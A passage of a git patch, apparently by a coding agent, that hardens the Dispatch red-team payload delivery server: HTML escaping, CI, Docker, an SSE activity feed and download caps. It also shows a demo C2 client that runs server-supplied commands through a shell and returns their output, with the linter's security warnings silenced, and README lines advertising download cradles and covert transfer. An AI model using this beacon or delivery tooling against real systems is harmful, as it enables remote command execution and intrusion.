From 512342747a0a2175b4e9b31d7f31fa900f669883 Mon Sep 17 00:00:00 2001 From: Cursor Agent Date: Fri, 30 Oct 2026 19:19:52 +0000 Subject: [PATCH 1/9] Harden Dispatch delivery, admin UI, and operator visibility. Escape notifications and request-derived HTML, add ruff CI, default uploads to the current folder, stream client file requests over SSE, refresh the UI, poll the file listing, and identify files by UUID. Also add download caps, richer cradles, covert chunked transfer, an opt-in script interface, and a pipx/Docker install path. Co-authored-by: m8sec --- .github/workflows/ruff.yml | 18 + Dockerfile | 12 + README.md | 38 +- c2_demo/client.py | 10 +- c2_demo/server.py | 7 +- dispatch-server.py | 273 +------------ dispatch/__init__.py | 0 dispatch/admin_app.py | 461 ++++++++++++++++------ dispatch/cli.py | 276 +++++++++++++ dispatch/client_app.py | 392 +++++++++++++----- dispatch/config.py | 74 ++-- dispatch/db.py | 399 ++++++++++++++++--- dispatch/script_scheduler.py | 8 +- dispatch/static/css/dispatch-theme.css | 264 +++++++++++++ dispatch/templates/_notice.html | 6 + dispatch/templates/files/cradles.html | 80 +++- dispatch/templates/files/create.html | 4 +- dispatch/templates/files/download.html | 4 +- dispatch/templates/files/edit.html | 8 +- dispatch/templates/files/upload.html | 9 +- dispatch/templates/index.html | 5 +- dispatch/templates/js/dispatch.js | 195 +++++++-- dispatch/templates/login.html | 17 +- dispatch/templates/login_mfa.html | 17 +- dispatch/templates/master.html | 33 +- dispatch/templates/scripts/runner.html | 21 +- dispatch/templates/settings/activity.html | 439 ++++++++++++++++++++ dispatch/templates/settings/admin.html | 2 +- dispatch/templates/settings/alerts.html | 29 +- dispatch/templates/settings/client.html | 2 +- dispatch/templates/settings/proxy.html | 2 +- dispatch/templates/users/add.html | 2 +- dispatch/templates/users/list.html | 2 +- dispatch/templates/users/mfa.html | 2 +- docker-compose.yml | 12 + pyproject.toml | 55 +++ requirements.txt | 17 +- tests/__init__.py | 0 tests/conftest.py | 59 +++ tests/test_delivery_and_api.py | 141 +++++++ tests/test_file_guids.py | 92 +++++ tests/test_file_requests.py | 187 +++++++++ tests/test_upload_folder.py | 43 ++ tests/test_xss.py | 50 +++ 44 files changed, 3088 insertions(+), 679 deletions(-) create mode 100644 .github/workflows/ruff.yml create mode 100644 Dockerfile create mode 100644 dispatch/__init__.py create mode 100644 dispatch/cli.py create mode 100644 dispatch/static/css/dispatch-theme.css create mode 100644 dispatch/templates/_notice.html create mode 100644 dispatch/templates/settings/activity.html create mode 100644 docker-compose.yml create mode 100644 pyproject.toml create mode 100644 tests/__init__.py create mode 100644 tests/conftest.py create mode 100644 tests/test_delivery_and_api.py create mode 100644 tests/test_file_guids.py create mode 100644 tests/test_file_requests.py create mode 100644 tests/test_upload_folder.py create mode 100644 tests/test_xss.py diff --git a/.github/workflows/ruff.yml b/.github/workflows/ruff.yml new file mode 100644 index 0000000..f8570c7 --- /dev/null +++ b/.github/workflows/ruff.yml @@ -0,0 +1,18 @@ +name: ruff + +on: + push: + pull_request: + +jobs: + ruff: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + - name: Install ruff + run: pip install ruff + - name: Run ruff + run: ruff check . diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..f332db2 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,12 @@ +FROM python:3.12-slim + +WORKDIR /app +COPY pyproject.toml README.md requirements.txt ./ +COPY dispatch ./dispatch +COPY dispatch-server.py ./ +RUN pip install --no-cache-dir . + +EXPOSE 8080 8000 +VOLUME ["/app/dispatch/data"] +ENTRYPOINT ["dispatch-server"] +CMD ["--http", "--bind-host", "0.0.0.0", "--admin-port", "8080", "--client-port", "8000"] diff --git a/README.md b/README.md index aa15094..74806e1 100755 --- a/README.md +++ b/README.md @@ -13,8 +13,10 @@ It provides a single platform for controlled payload delivery, access governance - **Dual-interface architecture**: separate admin control plane & client delivery listener. - **Identity and access control**: role-based permissions, multi-factor authentication, API access, & more - **Payload and artifact management**: file aliases, & public/private/one-time access modes. -- **Routing and delivery options**: reverse proxy routing & covert upload channel. -- **Operator utilities**: cradle generation using various languages, & built-in file encryption. +- **Routing and delivery options**: reverse proxy routing, covert chunked upload, and covert chunked download. +- **Operator utilities**: cradle generation (curl, wget, Python, PowerShell, certutil, BITS, encoded PowerShell), & built-in file encryption. +- **Delivery governance**: per-file download caps, public/private/one-time access, and a live client-request feed. +- **Dual listeners**: the admin app and the client delivery app are separate Flask apps started on separate ports by `dispatch-server`. - **Alerting and notifications**: event-driven alerts using Discord webhooks. ## Install @@ -24,23 +26,37 @@ cd Dispatch pip3 install -r requirements.txt ``` +pipx / package install (console command `dispatch-server`): + +```bash +pipx install . +dispatch-server --help +``` + +Docker: + +```bash +docker compose up --build +``` + +The image listens on 8080 (admin) and 8000 (client) over HTTP. Persistent state is the `dispatch-data` volume. + ## Run ```bash -# Start Dispatch Ssrver +# Start Dispatch. The script interface is OFF unless you opt in. python3 dispatch-server.py -# Modify Dispatch default host & port options -python3 dispatch-server.py --bind-host 0.0.0.0 --admin-port 8443 --client-port 443 +# HTTP is for labs only. Admin and client use different ports. +python3 dispatch-server.py --http --admin-port 8080 --client-port 8000 -# Serve Dispatch over HTTP -python3 dispatch-server.py --http +# Enable the script interface and its scheduler +python3 dispatch-server.py --enable-script-interface -# Enable Debug logging +# Enable Debug logging (admin listener only) python3 dispatch-server.py --debug - -# Disable Script Runner console -python3 dispatch-server.py --disable-exec ``` +`--disable-exec` was removed. The script interface is off by default; pass `--enable-script-interface` to turn it on. + ## Disclaimer Dispatch is intended only for authorized security testing and sanctioned operations. Do not use it against systems without explicit permission. diff --git a/c2_demo/client.py b/c2_demo/client.py index f535cb1..0d20c3e 100644 --- a/c2_demo/client.py +++ b/c2_demo/client.py @@ -9,7 +9,8 @@ def register(server_url): try: - requests.post(f"{server_url}/register", data="hi", verify=False) + # Demo client talks to the self-signed Dispatch listener. + requests.post(f"{server_url}/register", data="hi", verify=False, timeout=10) # noqa: S501 print("[*] Registered with server.") except Exception as e: print("Failed to register:", e) @@ -18,7 +19,7 @@ def register(server_url): def poll(server_url, interval=0): while True: try: - r = requests.get(f"{server_url}/data", verify=False) + r = requests.get(f"{server_url}/data", verify=False, timeout=10) # noqa: S501 cmd = r.text.strip() if cmd: @@ -30,11 +31,12 @@ def poll(server_url, interval=0): return try: - output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) + # Demo client runs the command text returned by the server. + output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) # noqa: S602 except subprocess.CalledProcessError as e: output = e.output - requests.post(f"{server_url}/data", data=output.decode(), verify=False) + requests.post(f"{server_url}/data", data=output.decode(), verify=False, timeout=10) # noqa: S501 except Exception as e: print("[!] Error polling server:", e) diff --git a/c2_demo/server.py b/c2_demo/server.py index 639da7c..4a68b71 100644 --- a/c2_demo/server.py +++ b/c2_demo/server.py @@ -96,7 +96,7 @@ def default(self, line): def do_bg(self, arg): """Return to main server prompt""" - print(f"[~] Returning to main menu.") + print("[~] Returning to main menu.") return True @@ -111,11 +111,12 @@ def start_server(host, port): if __name__ == "__main__": parser = argparse.ArgumentParser(description="Start HTTPS command server.") - parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') + # Demo listener bind; operators can pass --host. + parser.add_argument('--host', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') # noqa: S104 parser.add_argument('--port', type=int, default=8443, help='Port to bind (default: 8443)') args = parser.parse_args() - print(f"\n[+] Starting Dispatch demo C2") + print("\n[+] Starting Dispatch demo C2") threading.Thread(target=start_server, args=(args.host, args.port), daemon=True).start() sleep(0.5) ServerShell().cmdloop() diff --git a/dispatch-server.py b/dispatch-server.py index f92664e..69158bc 100755 --- a/dispatch-server.py +++ b/dispatch-server.py @@ -1,273 +1,6 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- -from gevent import monkey -monkey.patch_all() +"""Console wrapper. The installable entry point is dispatch.cli:main.""" +from dispatch.cli import main -import os -import ssl -import sys -import argparse -import socket -import gevent -from dispatch import config -from dispatch.db import DispatchDB -from dispatch.script_scheduler import scheduler -from gevent.pywsgi import WSGIServer -from gevent import spawn, get_hub -from dispatch.admin_app import DispatchServer as AdminDispatchServer -from dispatch.client_app import ClientServer - - -banner = rf''' - ____ _ _ _ ____ - | _ \(_)___ _ __ __ _| |_ ___| |__ / ___| ___ _ ____ _____ _ __ - | | | | / __| '_ \ / _` | __/ __| '_ \ ____\___ \ / _ \ '__\ \ / / _ \ '__| - | |_| | \__ \ |_) | (_| | || (__| | | |_____|__) | __/ | \ V / __/ | - |____/|_|___/ .__/ \__,_|\__\___|_| |_| |____/ \___|_| \_/ \___|_| - |_| - @m8sec | {config.VERSION} -''' - - -# Quiet logger for WSGIServer that ignores expected TLS handshake noise -class QuietWSGILogger: - def write(self, msg): - ignored_markers = ( - 'SSLEOFError', - 'SSLError', - 'UNEXPECTED_EOF', - 'SSLV3_ALERT_BAD_CERTIFICATE', - 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', - 'sslv3 alert bad certificate', - 'sslv3 alert certificate unknown', - 'HTTP_REQUEST', - 'http request', - 'failed with SSLError', - ) - if not any(marker in msg for marker in ignored_markers): - sys.stderr.write(msg) - - -class QuietWSGIServer(WSGIServer): - def wrap_socket_and_handle(self, client_socket, address): - try: - return super().wrap_socket_and_handle(client_socket, address) - except ssl.SSLError as exc: - # Silently ignore common SSL errors (bad certs, HTTP on HTTPS port, etc.) - message = str(exc) - ignored_markers = ( - 'SSLV3_ALERT_BAD_CERTIFICATE', - 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', - 'sslv3 alert bad certificate', - 'sslv3 alert certificate unknown', - 'TLSV1_ALERT_UNKNOWN_CA', - 'tlsv1 alert unknown ca', - 'UNKNOWN_CA', - 'HTTP_REQUEST', - 'http request', - 'WRONG_VERSION_NUMBER', - 'wrong version number', - ) - if any(marker in message for marker in ignored_markers): - return - raise - -def main(): - parser = argparse.ArgumentParser(description="Run the Dispatch admin and client servers.") - parser.add_argument('--debug', action='store_true', help='Run only the admin interface in Flask debug mode.') - parser.add_argument('--http', action='store_true', help='Serve over HTTP instead of HTTPS.') - parser.add_argument('--bind-host', type=str, default='0.0.0.0', help='Bind address for both listeners (default: 0.0.0.0).') - parser.add_argument('--admin-port', type=int, default=8443, help='Port for the admin interface (default: 8443).') - parser.add_argument('--client-port', type=int, default=443, help='Port for client file delivery (default: 443).') - parser.add_argument('--external-host', type=str, default=None, help='External hostname or IP stored in settings for generated links.') - parser.add_argument('--disable-exec', action='store_true', help='Disable script runner features (manual and scheduled execution).') - args = parser.parse_args() - cli_args = sys.argv[1:] - - def cli_option_provided(name): - return any(arg == name or arg.startswith(f'{name}=') for arg in cli_args) - - if args.http: - # Avoid binding to privileged/common HTTP ports unless the operator chose them explicitly. - if not cli_option_provided('--admin-port') and args.admin_port == 8443: - args.admin_port = 8080 - if not cli_option_provided('--client-port') and args.client_port == 443: - args.client_port = 8000 - - if args.admin_port == args.client_port and not args.debug: - print(f'[!] ERROR: admin-port and client-port cannot both use {args.admin_port}.') - print('[!] Choose distinct ports, for example: --admin-port 8080 --client-port 8000') - sys.exit(1) - - - print(banner) - if not os.path.exists(config.DB_NAME): - print(f'[*] No database file found. Starting setup...') - print(f'[*] Generating SSL certificates...') - config.generate_ssl_cert(config.CERT_PATH, config.KEY_PATH, - country=config.COUNTRY, cn=config.CN, - org=config.ORG, ou=config.OU, - valid=config.VALID_DAYS) - - print('[*] Creating new Dispatch database...') - db = DispatchDB(config.DB_NAME) - db.setup_db() - db.close() - print(f'[*] Login with default user: {config.DEFAULT_USER}') - print(f'[*] Randomly generated password: {config.DEFAULT_PWD}\n') - - - admin_server = AdminDispatchServer() - admin_app = admin_server.app - client_server = ClientServer() - client_app = client_server.app - db = DispatchDB(config.DB_NAME) - - # Update external host if provided - if args.external_host: - db.update_external_host(args.external_host) - - # Persist listener ports into settings database - if args.admin_port or args.client_port: - current_settings = db.get_settings() - db.update_settings( - current_settings['redirect_url'], - current_settings['source_ip'], - args.admin_port , - current_settings['max_file_size'], - current_settings['server_header'], - args.client_port - ) - print(f'[+] Updated database with admin_port={args.admin_port }, client_port={args.client_port}') - - # Reload settings and display - ext = db.get_settings() - protocol = "http" if args.http else "https" - - config.refresh_app_configs(db, admin_app) - config.refresh_app_configs(db, client_app) - db.close() - config.setup_dispatch_logger(log_name='dispatch-logger') - admin_app.config['disable_exec'] = bool(args.disable_exec) - client_app.config['disable_exec'] = bool(args.disable_exec) - if admin_app.config['disable_exec']: - scheduler.stop() - else: - scheduler.start() - - # Setup SSL context - if args.http: - print(f'[!] WARNING: Setting protocol to HTTP. This is NOT recommended for production environments!') - print(f'[!] WARNING: navigator.clipboard requires HTTPS. Clipboard copy functions will NOT work via HTTP.') - context = None - else: - context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) - context.load_cert_chain(config.CERT_PATH, config.KEY_PATH) - - def ensure_port_available(host, port, label): - probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - try: - probe.bind((host, port)) - except OSError as exc: - print(f'[!] ERROR: Could not bind {label} listener to {host}:{port}: {exc}') - if exc.errno == 98: - print(f'[!] Port {port} is already in use. Specify a different port with --{"admin" if label == "admin" else "client"}-port.') - elif exc.errno == 13: - print(f'[!] Permission denied on port {port}. Use a port above 1024 or run with the required privileges.') - sys.exit(1) - finally: - probe.close() - - # Start servers - ensure_port_available(args.bind_host, args.admin_port, 'admin') - if not args.debug: - ensure_port_available(args.bind_host, args.client_port, 'client') - - print(f'[+] Starting Admin console on: {protocol}://{args.bind_host}:{args.admin_port}/') - print(f'[+] Starting Client delivery on: {protocol}://{ext["source_ip"]}:{args.client_port}/\n') - - if args.debug: - config.setup_debug_logger() - # In debug mode, only run admin server (can't run two Flask debug servers) - print('[!] Debug mode: Only running admin server') - admin_app.run( - host=args.bind_host, - port=args.admin_port, - ssl_context=context, - debug=True, - threaded=True, - use_debugger=False, - use_reloader=True - ) - else: - # Suppress expected TLS handshake aborts from clients that reject the self-signed cert. - hub = get_hub() - hub.NOT_ERROR += (ssl.SSLEOFError, ssl.SSLError,) - - server_kwargs = {'ssl_context': context} if context else {} - # Use quiet logger to suppress SSL errors in server output - server_kwargs['log'] = QuietWSGILogger() - server_kwargs['error_log'] = QuietWSGILogger() - - def create_server(port, flask_app): - return QuietWSGIServer((args.bind_host , port), flask_app, **server_kwargs) - - # Create admin server (full app) - admin_server = create_server(args.admin_port, admin_app) - - # Create client server (client app handles file delivery) - client_server = create_server(args.client_port, client_app) - - # Run both servers concurrently - def run_admin(): - admin_server.serve_forever() - - def run_client(): - client_server.serve_forever() - - # Spawn both servers - admin_greenlet = spawn(run_admin) - client_greenlet = spawn(run_client) - last_client_port = args.client_port - - def monitor_ports(): - nonlocal client_server, client_greenlet, last_client_port - while True: - gevent.sleep(2) - try: - db = DispatchDB(config.DB_NAME) - settings = db.get_settings() - db.close() - except Exception: - continue - - new_client_port = settings.get('client_port', last_client_port) - if new_client_port != last_client_port: - try: - client_server.stop() - except Exception: - pass - try: - client_greenlet.kill() - except Exception: - pass - last_client_port = new_client_port - client_server = create_server(last_client_port, client_app) - client_greenlet = spawn(client_server.serve_forever) - - monitor_greenlet = spawn(monitor_ports) - - try: - # Wait for both (this will block until interrupted) - admin_greenlet.join() - client_greenlet.join() - monitor_greenlet.join() - except KeyboardInterrupt: - print('\n[*] Shutting down servers...') - admin_server.stop() - client_server.stop() - - -if __name__ == "__main__": +if __name__ == '__main__': main() diff --git a/dispatch/__init__.py b/dispatch/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/dispatch/admin_app.py b/dispatch/admin_app.py index a6b496f..184c045 100755 --- a/dispatch/admin_app.py +++ b/dispatch/admin_app.py @@ -1,20 +1,20 @@ #!/usr/bin/env python3 import os +import time import jwt import shutil import logging -import requests import base64 from datetime import datetime, timezone, timedelta from concurrent.futures import ThreadPoolExecutor from json import dumps from io import BytesIO from urllib.parse import urlparse -from markupsafe import escape, Markup +from markupsafe import escape from werkzeug.utils import secure_filename from werkzeug.exceptions import RequestEntityTooLarge from werkzeug.middleware.proxy_fix import ProxyFix -from flask import Flask, request, redirect, render_template, Response, send_file, current_app, abort, url_for +from flask import Flask, Response, abort, current_app, redirect, render_template, request, send_file, stream_with_context, url_for from dispatch import auth from dispatch import config @@ -39,7 +39,8 @@ def _execute_script_content(script_content, timeout=30): tmp.write(script_content) tmp_path = tmp.name - result = subprocess.run(['python3', tmp_path], + # Script runner executes operator-authored Python. + result = subprocess.run(['python3', tmp_path], # noqa: S603, S607 capture_output=True, text=True, timeout=timeout) @@ -52,7 +53,7 @@ def _execute_script_content(script_content, timeout=30): try: os.remove(tmp_path) except Exception: - pass + logging.debug('Failed to remove temporary script file', exc_info=True) def _can_access_folder(user_role, folder_access): @@ -190,7 +191,74 @@ def _update_file_paths_for_folder_tree(db, folder_id): db.update_file_storage_by_id(file_data['id'], expected_path, file_folder_id) -def _render_file_form(template_name, token, status_msg=''): +def _max_downloads_from_form(): + raw = (request.form.get('max_downloads') or '').strip() + if not raw: + return None + try: + value = int(raw) + except (TypeError, ValueError): + return None + return value if value > 0 else None + + +def _page_notice(message, success=True): + """Plain notification payload. Templates pass it through |tojson.""" + return {'message': str(message), 'success': bool(success)} + + +_ACTIVITY_RESULTS = {'served', 'denied', 'not_found', 'auth_failure'} + + +def _activity_query(): + """Shared filters for the activity page and its live stream.""" + result = request.args.get('result', '').strip() + if result not in _ACTIVITY_RESULTS: + result = '' + ip = request.args.get('ip', '').strip()[:128] + search = request.args.get('q', '').strip()[:256] + try: + limit = int(request.args.get('limit', 100)) + except (TypeError, ValueError): + limit = 100 + limit = min(max(limit, 1), 500) + since_raw = request.headers.get('Last-Event-ID', request.args.get('since', 0)) + try: + since = int(since_raw or 0) + except (TypeError, ValueError): + since = 0 + return { + 'result': result, + 'ip': ip, + 'search': search, + 'limit': limit, + 'since': max(since, 0), + } + + +def _sse(event, payload, event_id=None): + """One Server-Sent Event. JSON encoding keeps request text out of the framing.""" + lines = [] + if event_id is not None: + lines.append(f'id: {int(event_id)}') + lines.append(f'event: {event}') + lines.append('data: ' + dumps(payload, separators=(',', ':'))) + return '\n'.join(lines) + '\n\n' + + +def _coerce_folder_id(db, folder_id): + if folder_id in (None, '', False): + return None + try: + folder_id = int(folder_id) + except (TypeError, ValueError): + return None + if folder_id and db.get_folder_by_id(folder_id): + return folder_id + return None + + +def _render_file_form(template_name, token, status_msg=None, form_error='', folder_id=None): db = DispatchDB(current_app.config['db_name']) try: return render_template( @@ -198,13 +266,15 @@ def _render_file_form(template_name, token, status_msg=''): token=token, config=current_app.config, status_msg=status_msg, - folders=_folder_options(db) + form_error=form_error, + folders=_folder_options(db), + selected_folder=_coerce_folder_id(db, folder_id), ) finally: db.close() -class DispatchServer(object): +class DispatchServer: app = Flask(__name__) app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1) app.secret_key = config.SECRET_KEY @@ -220,9 +290,11 @@ def index(token, status_msg=''): return redirect(url_for('user_edit', id=token['id'])) status = request.args.get('status') if status == 'file_deleted': - status_msg = Markup('') + status_msg = _page_notice('File deleted successfully!', True) elif status == 'file_delete_failed': - status_msg = Markup('') + status_msg = _page_notice('Failed to delete file.', False) + elif status == 'file_uploaded': + status_msg = _page_notice('File(s) uploaded successfully!', True) return render_template('index.html', token=token, config=current_app.config, status_msg=status_msg) @app.route('/login', methods=['GET', 'POST']) @@ -231,7 +303,7 @@ def login(): logging.debug(f'Rejected login attempt from {request.remote_addr} due to login restrictions.') return redirect(current_app.config['redirect_url'], 302) - status = '
' + login_error = '' if request.method == 'POST': db = DispatchDB(config.DB_NAME) @@ -247,12 +319,11 @@ def login(): if token_data.get('mfa_pending'): username = token_data.get('username') except Exception: - pass + logging.debug('Rejected MFA token during login', exc_info=True) if not username: db.close() - status = '
Session expired. Please login again.
' - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error='Session expired. Please login again.') if MFA_AVAILABLE: user_id = db.get_user_id_by_username(username) @@ -273,17 +344,17 @@ def login(): db.close() return resp else: - status = '
User disabled
' + login_error = 'User disabled' else: - status = '
Invalid verification code
' + login_error = 'Invalid verification code' else: - status = '
MFA configuration error
' + login_error = 'MFA configuration error' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) else: - status = '
MFA not available
' + login_error = 'MFA not available' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) db.close() # Generate a new MFA token for retry @@ -292,7 +363,7 @@ def login(): 'mfa_pending': True, 'exp': datetime.now(timezone.utc) + timedelta(minutes=5) }, config.SECRET_KEY, algorithm='HS256') - return render_template('login_mfa.html', login_status=Markup(status), username=username, mfa_token=mfa_token) + return render_template('login_mfa.html', login_error=login_error, username=username, mfa_token=mfa_token) # Standard username/password login if db.validate_login(request.form['username'].lower(), request.form['password']): @@ -307,7 +378,7 @@ def login(): 'exp': datetime.now(timezone.utc) + timedelta(minutes=5) }, config.SECRET_KEY, algorithm='HS256') db.close() - return render_template('login_mfa.html', login_status=Markup('
'), username=username, mfa_token=mfa_token) + return render_template('login_mfa.html', login_error='', username=username, mfa_token=mfa_token) user_data = auth.loadUser(db, username) config.log("Web login successful", user_data, request.remote_addr) @@ -318,7 +389,7 @@ def login(): check_user_login_alert(config.DB_NAME, user_data['id'], user_data['user'], request.remote_addr) reset_failed_logins(username) except Exception: - pass + logging.debug('Login alert check failed', exc_info=True) if user_data['role'] > 0: # Check if MFA is required but not enabled for this user @@ -339,17 +410,17 @@ def login(): db.close() return resp else: - status = '
User disabled
' + login_error = 'User disabled' else: # Check for failed login alerts try: from dispatch.alerts import check_failed_login_alert check_failed_login_alert(config.DB_NAME, request.form['username'].lower(), request.remote_addr) except Exception: - pass - status = '
Login Failed
' + logging.debug('Failed-login alert check failed', exc_info=True) + login_error = 'Login Failed' db.close() - return render_template('login.html', login_status=Markup(status)) + return render_template('login.html', login_error=login_error) @app.route('/logout', methods=['GET']) def logout(): @@ -368,7 +439,7 @@ def settings_redirect(token): @auth.operator_required def admin_settings(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -386,31 +457,31 @@ def admin_settings(token): settings.get('client_port', 443) ) config.log("Admin settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Admin settings saved.", True) elif form_type == 'login_restrictions': db.update_allow_login(request.form['allow_login']) config.log("Login restrictions updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Login restrictions saved.", True) elif form_type == 'webhook_settings': webhook_url = request.form.get('webhook_url', '').strip() db.update_webhook_url(webhook_url if webhook_url else None) config.log("Webhook settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Webhook settings saved.", True) elif form_type == 'mfa_settings': mfa_required = 'mfa_required' in request.form db.set_mfa_required(mfa_required) config.log(f"MFA requirement {'enabled' if mfa_required else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("MFA settings saved.", True) config.refresh_app_configs(db, current_app) return render_template('settings/admin.html', token=token, config=current_app.config, status_msg=status_msg) except Exception as e: logging.error(f"Error updating admin settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save settings.", False) return render_template('settings/admin.html', token=token, config=current_app.config, status_msg=status_msg) finally: db.close() @@ -419,7 +490,7 @@ def admin_settings(token): @auth.operator_required def client_settings(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -428,7 +499,7 @@ def client_settings(token): client_enabled = 'client_enabled' in request.form db.update_client_enabled(client_enabled) config.log(f"Client interface {'enabled' if client_enabled else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Client interface status saved.", True) elif form_type == 'network_settings': source_ip = request.form['source_ip'] @@ -444,7 +515,7 @@ def client_settings(token): client_port ) config.log("Network settings updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Network settings saved.", True) elif form_type == 'response_headers': header_names = request.form.getlist('header_name[]') @@ -452,7 +523,7 @@ def client_settings(token): headers = {name: value for name, value in zip(header_names, header_values) if name and value} db.update_response_headers(headers) config.log("Response headers updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Response headers saved.", True) elif form_type == 'access_control': allow_ip = request.form['allow_ip'] @@ -470,7 +541,7 @@ def client_settings(token): db.disable_param_key() config.log("Access control updated", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Access control saved.", True) config.refresh_app_configs(db, current_app) @@ -478,7 +549,7 @@ def client_settings(token): return render_template('settings/client.html', token=token, config=current_app.config, response_headers=response_headers, status_msg=status_msg) except Exception as e: logging.error(f"Error updating client settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save settings.", False) response_headers = db.get_response_headers() return render_template('settings/client.html', token=token, config=current_app.config, response_headers=response_headers, status_msg=status_msg) finally: @@ -488,7 +559,7 @@ def client_settings(token): @auth.operator_required def c2_redirectors(token): db = DispatchDB(current_app.config['db_name']) - status_msg = Markup('') + status_msg = None try: if request.method == 'POST': form_type = request.form.get('form_type') @@ -497,7 +568,7 @@ def c2_redirectors(token): proxy_enabled = 'proxy_enabled' in request.form db.update_proxy_enabled(proxy_enabled) config.log(f"Reverse proxy {'enabled' if proxy_enabled else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("Reverse proxy status saved.", True) else: # Convert form data to dictionary {path: redirect} paths = request.form.getlist("path[]") # Extract paths @@ -506,8 +577,8 @@ def c2_redirectors(token): # Update DB db.update_proxy_routes(route_dict) - config.log(f"Reverse proxy routes updated", token, request.remote_addr) - status_msg = Markup('') + config.log("Reverse proxy routes updated", token, request.remote_addr) + status_msg = _page_notice("Proxy routes saved.", True) config.refresh_app_configs(db, current_app) @@ -515,7 +586,7 @@ def c2_redirectors(token): return render_template('settings/proxy.html', token=token, routes=routes, config=current_app.config, status_msg=status_msg) except Exception as e: logging.error(f"Error updating proxy settings: {e}") - status_msg = Markup('') + status_msg = _page_notice("Failed to save proxy settings.", False) routes = db.load_proxy_routes() return render_template('settings/proxy.html', token=token, routes=routes, config=current_app.config, status_msg=status_msg) finally: @@ -569,6 +640,97 @@ def api_clear_logs(token): mimetype='application/json' ) + @app.route('/settings/activity', methods=['GET']) + @auth.operator_required + def file_activity(token): + """Recent client file requests, with a live stream attached by the page.""" + query = _activity_query() + db = DispatchDB(current_app.config['db_name']) + try: + rows = db.list_file_requests( + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + finally: + db.close() + return render_template( + 'settings/activity.html', + token=token, + config=current_app.config, + requests_rows=rows, + summary=summary, + filters={'result': query['result'], 'ip': query['ip'], 'q': query['search'], 'limit': query['limit']}, + ) + + @app.route('/api/file-requests/stream', methods=['GET']) + @auth.operator_required + def file_request_stream(token): + """Server-Sent Events for new client file requests. One connection, no page reload.""" + query = _activity_query() + + def generate(): + db = DispatchDB(current_app.config['db_name']) + since = query['since'] + try: + yield 'retry: 2000\n\n' + if since <= 0: + rows = db.list_file_requests( + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + yield _sse('snapshot', {'requests': rows, 'summary': summary}) + if rows: + since = rows[0]['id'] + polls = 0 + while True: + fresh = db.list_file_requests_since( + since, + limit=query['limit'], + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + if fresh: + for row in fresh: + since = row['id'] + yield _sse('request', row, event_id=row['id']) + summary = db.file_request_summary( + result=query['result'] or None, + ip=query['ip'] or None, + search=query['search'] or None, + ) + yield _sse('summary', summary) + polls += 1 + # Tests consume one poll. The running server keeps the feed open. + if current_app.config.get('TESTING') and polls >= 1: + break + time.sleep(1) + finally: + db.close() + + return Response( + stream_with_context(generate()), + mimetype='text/event-stream', + headers={ + 'Cache-Control': 'no-cache', + 'X-Accel-Buffering': 'no', + }, + ) + # ===== ALERTS CONFIGURATION ROUTES ===== @app.route('/settings/alerts', methods=['GET']) @@ -584,6 +746,9 @@ def api_list_alerts(token): try: db = DispatchDB(current_app.config['db_name']) alerts = db.get_alerts() + for alert in alerts: + if alert.get('alert_type') == 'file_download' and alert.get('target_id') is not None: + alert['target_id'] = db.guid_for_file_row(alert['target_id']) db.close() return Response(response=dumps(alerts), status=200, mimetype='application/json') except Exception as e: @@ -611,7 +776,7 @@ def api_create_alert(token): user = db.get_user_by_id(target_id) description = f"Alert when user '{user.get('username', 'Unknown')}' logs in" elif alert_type == 'file_download' and target_id: - file = db.get_file_by_id(target_id) + file = db.get_file_by_id(str(target_id)) description = f"Alert when file '{file.get('filename', 'Unknown')}' is downloaded" elif alert_type == 'failed_logins' and target_value: description = f"Alert after {target_value} failed login attempts" @@ -620,6 +785,12 @@ def api_create_alert(token): db.close() db = DispatchDB(current_app.config['db_name']) + if alert_type == 'file_download': + file = db.get_file_by_id(str(target_id or '')) + if not file: + db.close() + return Response(response=dumps({'error': 'File not found'}), status=400, mimetype='application/json') + target_id = file['row_id'] alert_id = db.create_alert(alert_type, target_id, target_value, description) db.close() @@ -695,21 +866,22 @@ def documentation_download(token): @app.route('/file/upload', methods=['GET', 